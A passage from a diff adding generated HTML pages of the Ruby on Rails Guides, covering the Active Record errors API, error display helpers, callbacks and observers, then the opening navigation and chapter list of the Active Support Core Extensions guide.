+   # =&gt; [&quot;cannot contain the characters !@#%*()_-+=&quot;]
+
+  person.errors.to_a
+   # =&gt; [&quot;Name cannot contain the characters !@#%*()_-+=&quot;]
+</pre>
+</div>
+</notextile>
+
+<h4 id="errors-base">7.4 <tt>errors[:base]</tt></h4>
+<p>You can add error messages that are related to the object&#8217;s state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since <tt>errors[:base]</tt> is an array, you can simply add a string to the array and uses it as the error message.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  def a_method_used_for_validation_purposes
+    errors[:base] &lt;&lt; &quot;This person is invalid because ...&quot;
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="errors-clear">7.5 <tt>errors.clear</tt></h4>
+<p>The <tt>clear</tt> method is used when you intentionally want to clear all the messages in the <tt>errors</tt> collection. Of course, calling <tt>errors.clear</tt> upon an invalid object won&#8217;t actually make it valid: the <tt>errors</tt> collection will now be empty, but the next time you call <tt>valid?</tt> or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the <tt>errors</tt> collection will be filled again.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  validates_presence_of :name
+  validates_length_of :name, :minimum =&gt; 3
+end
+
+person = Person.new
+person.valid? # =&gt; false
+person.errors[:name]
+ # =&gt; [&quot;can't be blank&quot;, &quot;is too short (minimum is 3 characters)&quot;]
+
+person.errors.clear
+person.errors.empty? # =&gt; true
+
+p.save # =&gt; false
+
+p.errors[:name]
+ # =&gt; [&quot;can't be blank&quot;, &quot;is too short (minimum is 3 characters)&quot;]
+</pre>
+</div>
+</notextile>
+
+<h4 id="errors-size">7.6 <tt>errors.size</tt></h4>
+<p>The <tt>size</tt> method returns the total number of error messages for the object.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  validates_presence_of :name
+  validates_length_of   :name, :minimum =&gt; 3
+  validates_presence_of :email
+end
+
+person = Person.new
+person.valid? # =&gt; false
+person.errors.size # =&gt; 3
+
+person = Person.new(:name =&gt; &quot;Andrea&quot;, :email =&gt; &quot;andrea@example.com&quot;)
+person.valid? # =&gt; true
+person.errors.size # =&gt; 0
+</pre>
+</div>
+</notextile>
+
+<h3 id="displaying-validation-errors-in-the-view">8 Displaying Validation Errors in the View</h3>
+<p>Rails provides built-in helpers to display the error messages of your models in your view templates.</p>
+<h4 id="error_messages-and-error_messages_for">8.1 <tt>error_messages</tt> and <tt>error_messages_for</tt></h4>
+<p>When creating a form with the <tt>form_for</tt> helper, you can use the <tt>error_messages</tt> method on the form builder to render all failed validation messages for the current model instance.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Product &lt; ActiveRecord::Base
+  validates_presence_of :description, :value
+  validates_numericality_of :value, :allow_nil =&gt; true
+end
+</pre>
+</div>
+</notextile>
+
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= form_for(@product) do |f| %&gt;
+  &lt;%= f.error_messages %&gt;
+  &lt;p&gt;
+    &lt;%= f.label :description %&gt;&lt;br /&gt;
+    &lt;%= f.text_field :description %&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;%= f.label :value %&gt;&lt;br /&gt;
+    &lt;%= f.text_field :value %&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;%= f.submit &quot;Create&quot; %&gt;
+  &lt;/p&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>To get the idea, if you submit the form with empty fields you typically get this back, though styles are indeed missing by default:</p>
+<p><img src="images/error_messages.png" title="Error messages" alt="Error messages" /></p>
+<p>You can also use the <tt>error_messages_for</tt> helper to display the error messages of a model assigned to a view template. It&#8217;s very similar to the previous example and will achieve exactly the same result.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= error_messages_for :product %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself.</p>
+<p>Both the <tt>form.error_messages</tt> and the <tt>error_messages_for</tt> helpers accept options that let you customize the <tt>div</tt> element that holds the messages, changing the header text, the message below the header text and the tag used for the element that defines the header.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= f.error_messages :header_message =&gt; &quot;Invalid product!&quot;,
+  :message =&gt; &quot;You'll need to fix the following fields:&quot;,
+  :header_tag =&gt; :h3 %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Which results in the following content:</p>
+<p><img src="images/customized_error_messages.png" title="Customized error messages" alt="Customized error messages" /></p>
+<p>If you pass <tt>nil</tt> to any of these options, it will get rid of the respective section of the <tt>div</tt>.</p>
+<h4 id="customizing-the-error-messages-css">8.2 Customizing the Error Messages <span class="caps">CSS</span></h4>
+<p>The selectors to customize the style of error messages are:</p>
+<ul>
+	<li><tt>.field_with_errors</tt> &#8211; Style for the form fields and labels with errors.</li>
+	<li><tt>#errorExplanation</tt> &#8211; Style for the <tt>div</tt> element with the error messages.</li>
+	<li><tt>#errorExplanation h2</tt> &#8211; Style for the header of the <tt>div</tt> element.</li>
+	<li><tt>#errorExplanation p</tt> &#8211; Style for the paragraph that holds the message that appears right below the header of the <tt>div</tt> element.</li>
+	<li><tt>#errorExplanation ul li</tt> &#8211; Style for the list items with individual error messages.</li>
+</ul>
+<p>Scaffolding for example generates <tt>public/stylesheets/scaffold.css</tt>, which defines the red-based style you saw above.</p>
+<p>The name of the class and the id can be changed with the <tt>:class</tt> and <tt>:id</tt> options, accepted by both helpers.</p>
+<h4 id="customizing-the-error-messages-html">8.3 Customizing the Error Messages <span class="caps">HTML</span></h4>
+<p>By default, form fields with errors are displayed enclosed by a <tt>div</tt> element with the <tt>field_with_errors</tt> <span class="caps">CSS</span> class. However, it&#8217;s possible to override that.</p>
+<p>The way form fields with errors are treated is defined by <tt>ActionView::Base.field_error_proc</tt>. This is a <tt>Proc</tt> that receives two parameters:</p>
+<ul>
+	<li>A string with the <span class="caps">HTML</span> tag</li>
+	<li>An instance of <tt>ActionView::Helpers::InstanceTag</tt>.</li>
+</ul>
+<p>Here is a simple example where we change the Rails behaviour to always display the error messages in front of each of the form fields with errors. The error messages will be enclosed by a <tt>span</tt> element with a <tt>validation-error</tt> <span class="caps">CSS</span> class. There will be no <tt>div</tt> element enclosing the <tt>input</tt> element, so we get rid of that red border around the text field. You can use the <tt>validation-error</tt> <span class="caps">CSS</span> class to style it anyway you want.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+ActionView::Base.field_error_proc = Proc.new do |html_tag, instance|
+  if instance.error_message.kind_of?(Array)
+    %(#{html_tag}&lt;span class=&quot;validation-error&quot;&gt;&amp;nbsp;
+      #{instance.error_message.join(',')}&lt;/span&gt;)
+  else
+    %(#{html_tag}&lt;span class=&quot;validation-error&quot;&gt;&amp;nbsp;
+      #{instance.error_message}&lt;/span&gt;)
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>This will result in something like the following:</p>
+<p><img src="images/validation_error_messages.png" title="Validation error messages" alt="Validation error messages" /></p>
+<h3 id="callbacks-overview">9 Callbacks Overview</h3>
+<p>Callbacks are methods that get called at certain moments of an object&#8217;s life cycle. With callbacks it&#8217;s possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database.</p>
+<h4 id="callback-registration">9.1 Callback Registration</h4>
+<p>In order to use the available callbacks, you need to register them. You can do that by implementing them as ordinary methods, and then using a macro-style class method to register them as callbacks.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class User &lt; ActiveRecord::Base
+  validates_presence_of :login, :email
+
+  before_validation :ensure_login_has_a_value
+
+  protected
+  def ensure_login_has_a_value
+    if login.nil?
+      self.login = email unless email.blank?
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in just one line.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class User &lt; ActiveRecord::Base
+  validates_presence_of :login, :email
+
+  before_create {|user| user.name = user.login.capitalize
+	if user.name.blank?}
+end
+</pre>
+</div>
+</notextile>
+
+<p>It&#8217;s considered good practice to declare callback methods as being protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation.</p>
+<h3 id="available-callbacks">10 Available Callbacks</h3>
+<p>Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations:</p>
+<h4 id="creating-an-object">10.1 Creating an Object</h4>
+<ul>
+	<li><tt>before_validation</tt></li>
+	<li><tt>after_validation</tt></li>
+	<li><tt>before_save</tt></li>
+	<li><tt>after_save</tt></li>
+	<li><tt>before_create</tt></li>
+	<li><tt>around_create</tt></li>
+	<li><tt>after_create</tt></li>
+</ul>
+<h4 id="updating-an-object">10.2 Updating an Object</h4>
+<ul>
+	<li><tt>before_validation</tt></li>
+	<li><tt>after_validation</tt></li>
+	<li><tt>before_save</tt></li>
+	<li><tt>after_save</tt></li>
+	<li><tt>before_update</tt></li>
+	<li><tt>around_update</tt></li>
+	<li><tt>after_update</tt></li>
+</ul>
+<h4 id="destroying-an-object">10.3 Destroying an Object</h4>
+<ul>
+	<li><tt>before_destroy</tt></li>
+	<li><tt>after_destroy</tt></li>
+	<li><tt>around_destroy</tt></li>
+</ul>
+<div class='warning'><p><tt>after_save</tt> runs both on create and update, but always <em>after</em> the more specific callbacks <tt>after_create</tt> and <tt>after_update</tt>, no matter the order in which the macro calls were executed.</p></div>
+<h4 id="after_initialize-and-after_find">10.4 <tt>after_initialize</tt> and <tt>after_find</tt></h4>
+<p>The <tt>after_initialize</tt> callback will be called whenever an Active Record object is instantiated, either by directly using <tt>new</tt> or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record <tt>initialize</tt> method.</p>
+<p>The <tt>after_find</tt> callback will be called whenever Active Record loads a record from the database. <tt>after_find</tt> is called before <tt>after_initialize</tt> if both are defined.</p>
+<p>The <tt>after_initialize</tt> and <tt>after_find</tt> callbacks are a bit different from the others. They have no <tt>before_*</tt> counterparts, and the only way to register them is by defining them as regular methods. If you try to register <tt>after_initialize</tt> or <tt>after_find</tt> using macro-style class methods, they will just be ignored. This behaviour is due to performance reasons, since <tt>after_initialize</tt> and <tt>after_find</tt> will both be called for each record found in the database, significantly slowing down the queries.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class User &lt; ActiveRecord::Base
+  def after_initialize
+    puts &quot;You have initialized an object!&quot;
+  end
+
+  def after_find
+    puts &quot;You have found an object!&quot;
+  end
+end
+
+&gt;&gt; User.new
+You have initialized an object!
+=&gt; #&lt;User id: nil&gt;
+
+&gt;&gt; User.first
+You have found an object!
+You have initialized an object!
+=&gt; #&lt;User id: 1&gt;
+</pre>
+</div>
+</notextile>
+
+<h3 id="running-callbacks">11 Running Callbacks</h3>
+<p>The following methods trigger callbacks:</p>
+<ul>
+	<li><tt>create</tt></li>
+	<li><tt>create!</tt></li>
+	<li><tt>decrement!</tt></li>
+	<li><tt>destroy</tt></li>
+	<li><tt>destroy_all</tt></li>
+	<li><tt>increment!</tt></li>
+	<li><tt>save</tt></li>
+	<li><tt>save!</tt></li>
+	<li><tt>save(false)</tt></li>
+	<li><tt>toggle!</tt></li>
+	<li><tt>update</tt></li>
+	<li><tt>update_attribute</tt></li>
+	<li><tt>update_attributes</tt></li>
+	<li><tt>update_attributes!</tt></li>
+	<li><tt>valid?</tt></li>
+</ul>
+<p>Additionally, the <tt>after_find</tt> callback is triggered by the following finder methods:</p>
+<ul>
+	<li><tt>all</tt></li>
+	<li><tt>first</tt></li>
+	<li><tt>find</tt></li>
+	<li><tt>find_all_by_<em>attribute</em></tt></li>
+	<li><tt>find_by_<em>attribute</em></tt></li>
+	<li><tt>find_by_<em>attribute</em>!</tt></li>
+	<li><tt>last</tt></li>
+</ul>
+<p>The <tt>after_initialize</tt> callback is triggered every time a new object of the class is initialized.</p>
+<h3 id="skipping-callbacks">12 Skipping Callbacks</h3>
+<p>Just as with validations, it&#8217;s also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data.</p>
+<ul>
+	<li><tt>decrement</tt></li>
+	<li><tt>decrement_counter</tt></li>
+	<li><tt>delete</tt></li>
+	<li><tt>delete_all</tt></li>
+	<li><tt>find_by_sql</tt></li>
+	<li><tt>increment</tt></li>
+	<li><tt>increment_counter</tt></li>
+	<li><tt>toggle</tt></li>
+	<li><tt>update_all</tt></li>
+	<li><tt>update_counters</tt></li>
+</ul>
+<h3 id="halting-execution">13 Halting Execution</h3>
+<p>As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model&#8217;s validations, the registered callbacks, and the database operation to be executed.</p>
+<p>The whole callback chain is wrapped in a transaction. If any <em>before</em> callback method returns exactly <tt>false</tt> or raises an exception the execution chain gets halted and a <span class="caps">ROLLBACK</span> is issued; <em>after</em> callbacks can only accomplish that by raising an exception.</p>
+<div class='warning'><p>Raising an arbitrary exception may break code that expects <tt>save</tt> and friends not to fail like that. The <tt>ActiveRecord::Rollback</tt> exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised.</p></div>
+<h3 id="relational-callbacks">14 Relational Callbacks</h3>
+<p>Callbacks work through model relationships, and can even be defined by them. Let&#8217;s take an example where a user has many posts. In our example, a user&#8217;s posts should be destroyed if the user is destroyed. So, we&#8217;ll add an <tt>after_destroy</tt> callback to the <tt>User</tt> model by way of its relationship to the <tt>Post</tt> model.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class User &lt; ActiveRecord::Base
+  has_many :posts, :dependent =&gt; :destroy
+end
+
+class Post &lt; ActiveRecord::Base
+  after_destroy :log_destroy_action
+
+  def log_destroy_action
+    puts 'Post destroyed'
+  end
+end
+
+&gt;&gt; user = User.first
+=&gt; #&lt;User id: 1&gt;
+&gt;&gt; user.posts.create!
+=&gt; #&lt;Post id: 1, user_id: 1&gt;
+&gt;&gt; user.destroy
+Post destroyed
+=&gt; #&lt;User id: 1&gt;
+</pre>
+</div>
+</notextile>
+
+<h3 id="conditional-callbacks">15 Conditional Callbacks</h3>
+<p>Like in validations, we can also make our callbacks conditional, calling them only when a given predicate is satisfied. You can do that by using the <tt>:if</tt> and <tt>:unless</tt> options, which can take a symbol, a string or a <tt>Proc</tt>. You may use the <tt>:if</tt> option when you want to specify when the callback <strong>should</strong> get called. If you want to specify when the callback <strong>should not</strong> be called, then you may use the <tt>:unless</tt> option.</p>
+<h4 id="using-if-and-unless-with-a-symbol">15.1 Using <tt>:if</tt> and <tt>:unless</tt> with a Symbol</h4>
+<p>You can associate the <tt>:if</tt> and <tt>:unless</tt> options with a symbol corresponding to the name of a method that will get called right before the callback. When using the <tt>:if</tt> option, the callback won&#8217;t be executed if the method returns false; when using the <tt>:unless</tt> option, the callback won&#8217;t be executed if the method returns true. This is the most common option. Using this form of registration it&#8217;s also possible to register several different methods that should be called to check if the callback should be executed.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Order &lt; ActiveRecord::Base
+  before_save :normalize_card_number, :if =&gt; :paid_with_card?
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="using-if-and-unless-with-a-string">15.2 Using <tt>:if</tt> and <tt>:unless</tt> with a String</h4>
+<p>You can also use a string that will be evaluated using <tt>eval</tt> and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Order &lt; ActiveRecord::Base
+  before_save :normalize_card_number, :if =&gt; &quot;paid_with_card?&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="using-if-and-unless-with-a-proc">15.3 Using <tt>:if</tt> and <tt>:unless</tt> with a Proc</h4>
+<p>Finally, it&#8217;s possible to associate <tt>:if</tt> and <tt>:unless</tt> with a <tt>Proc</tt> object. This option is best suited when writing short validation methods, usually one-liners.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Order &lt; ActiveRecord::Base
+  before_save :normalize_card_number,
+    :if =&gt; Proc.new { |order| order.paid_with_card? }
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="multiple-conditions-for-callbacks">15.4 Multiple Conditions for Callbacks</h4>
+<p>When writing conditional callbacks, it&#8217;s possible to mix both <tt>:if</tt> and <tt>:unless</tt> in the same callback declaration.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Comment &lt; ActiveRecord::Base
+  after_create :send_email_to_author, :if =&gt; :author_wants_emails?,
+    :unless =&gt; Proc.new { |comment| comment.post.ignore_comments? }
+end
+</pre>
+</div>
+</notextile>
+
+<h3 id="callback-classes">16 Callback Classes</h3>
+<p>Sometimes the callback methods that you&#8217;ll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.</p>
+<p>Here&#8217;s an example where we create a class with an <tt>after_destroy</tt> callback for a <tt>PictureFile</tt> model.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class PictureFileCallbacks
+  def after_destroy(picture_file)
+    File.delete(picture_file.filepath)
+      if File.exists?(picture_file.filepath)
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>When declared inside a class the callback method will receive the model object as a parameter. We can now use it this way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class PictureFile &lt; ActiveRecord::Base
+  after_destroy PictureFileCallbacks.new
+end
+</pre>
+</div>
+</notextile>
+
+<p>Note that we needed to instantiate a new <tt>PictureFileCallbacks</tt> object, since we declared our callback as an instance method. Sometimes it will make more sense to have it as a class method.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class PictureFileCallbacks
+  def self.after_destroy(picture_file)
+    File.delete(picture_file.filepath)
+      if File.exists?(picture_file.filepath)
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>If the callback method is declared this way, it won&#8217;t be necessary to instantiate a <tt>PictureFileCallbacks</tt> object.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class PictureFile &lt; ActiveRecord::Base
+  after_destroy PictureFileCallbacks
+end
+</pre>
+</div>
+</notextile>
+
+<p>You can declare as many callbacks as you want inside your callback classes.</p>
+<h3 id="observers">17 Observers</h3>
+<p>Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn&#8217;t directly related to its purpose, observers allow you to add the same functionality outside of a model. For example, it could be argued that a <tt>User</tt> model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn&#8217;t directly related to your model, you may want to consider creating an observer instead.</p>
+<h4 id="creating-observers">17.1 Creating Observers</h4>
+<p>For example, imagine a <tt>User</tt> model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model&#8217;s purpose, we could create an observer to contain this functionality.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rails generate observer User
+</pre>
+</div>
+</notextile>
+
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class UserObserver &lt; ActiveRecord::Observer
+  def after_create(model)
+    # code to send confirmation email...
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>As with callback classes, the observer&#8217;s methods receive the observed model as a parameter.</p>
+<h4 id="registering-observers">17.2 Registering Observers</h4>
+<p>Observers are conventionally placed inside of your <tt>app/models</tt> directory and registered in your application&#8217;s <tt>config/application.rb</tt> file. For example, the <tt>UserObserver</tt> above would be saved as <tt>app/models/user_observer.rb</tt> and registered in <tt>config/application.rb</tt> this way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Activate observers that should always be running
+config.active_record.observers = :user_observer
+</pre>
+</div>
+</notextile>
+
+<p>As usual, settings in <tt>config/environments</tt> take precedence over those in <tt>config/application.rb</tt>. So, if you prefer that an observer doesn&#8217;t run in all environments, you can simply register it in a specific environment instead.</p>
+<h4 id="sharing-observers">17.3 Sharing Observers</h4>
+<p>By default, Rails will simply strip &#8220;Observer&#8221; from an observer&#8217;s name to find the model it should observe. However, observers can also be used to add behaviour to more than one model, and so it&#8217;s possible to manually specify the models that our observer should observe.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class MailerObserver &lt; ActiveRecord::Observer
+  observe :registration, :user
+
+  def after_create(model)
+    # code to send confirmation email...
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>In this example, the <tt>after_create</tt> method would be called whenever a <tt>Registration</tt> or <tt>User</tt> was created. Note that this new <tt>MailerObserver</tt> would also need to be registered in <tt>config/application.rb</tt> in order to take effect.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Activate observers that should always be running
+config.active_record.observers = :mailer_observer
+</pre>
+</div>
+</notextile>
+
+<h3 id="changelog">18 Changelog</h3>
+<p><a href="http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks">Lighthouse ticket</a></p>
+<ul>
+	<li>July 20, 2010: Fixed typos and rephrased some paragraphs for clarity. <a href="http://jaimeiniesta.com">Jaime Iniesta</a></li>
+	<li>May 24, 2010: Fixed document to validate <span class="caps">XHTML</span> 1.0 Strict. <a href="http://jaimeiniesta.com">Jaime Iniesta</a></li>
+	<li>May 15, 2010: Validation Errors section updated by <a href="http://www.eparreno.com">Emili Parreรฑo</a></li>
+	<li>March 7, 2009: Callbacks revision by Trevor Turk</li>
+	<li>February 10, 2009: Observers revision by Trevor Turk</li>
+	<li>February 5, 2009: Initial revision by Trevor Turk</li>
+	<li>January 9, 2009: Initial version by <a href="credits.html#cmarques">Cรกssio Marques</a></li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/active_support_core_extensions.html
@@ -0,0 +1,3884 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Active Support Core Extensions</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Active Support Core Extensions</h2>
+<p>Active Support is the Ruby on Rails component responsible for providing Ruby language extensions, utilities, and other transversal stuff.</p>
+<p>It offers a richer bottom-line at the language level, targeted both at the development of Rails applications, and at the development of Ruby on Rails itself.</p>
+<p>By referring to this guide you will learn the extensions to the Ruby core classes and modules provided by Active Support.</p>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#how-to-load-core-extensions">How to Load Core Extensions</a><ul><li><a href="#stand-alone-active-support">Stand-Alone Active Support</a></li> <li><a href="#active-support-within-a-ruby-on-rails-application">Active Support Within a Ruby on Rails Application</a></li></ul></li><li><a href="#extensions-to-all-objects">Extensions to All Objects</a><ul><li><a href="#blank-and-present"><tt>blank?</tt> and <tt>present?</tt></a></li> <li><a href="#presence"><tt>presence</tt></a></li> <li><a href="#duplicable"><tt>duplicable?</tt></a></li> <li><a href="#try"><tt>try</tt></a></li> <li><a href="#singleton_class"><tt>singleton_class</tt></a></li> <li><a href="#class_eval-args-block"><tt>class_eval(*args, &block)</tt></a></li> <li><a href="#acts_like-duck"><tt>acts_like?(duck)</tt></a></li> <li><a href="#to_param"><tt>to_param</tt></a></li> <li><a href="#to_query"><tt>to_query</tt></a></li> <li><a href="#with_options"><tt>with_options</tt></a></li> <li><a href="#instance-variables">Instance Variables</a></li> <li><a href="#silencing-warnings-streams-and-exceptions">Silencing Warnings, Streams, and Exceptions</a></li> <li><a href="#require_library_or_gem"><tt>require_library_or_gem</tt></a></li></ul></li><li><a href="#extensions-to-module">Extensions to <tt>Module</tt></a><ul><li><a href="#alias_method_chain"><tt>alias_method_chain</tt></a></li> <li><a href="#attributes">Attributes</a></li> <li><a href="#parents">Parents</a></li> <li><a href="#constants">Constants</a></li> <li><a href="#synchronization">Synchronization</a></li> <li><a 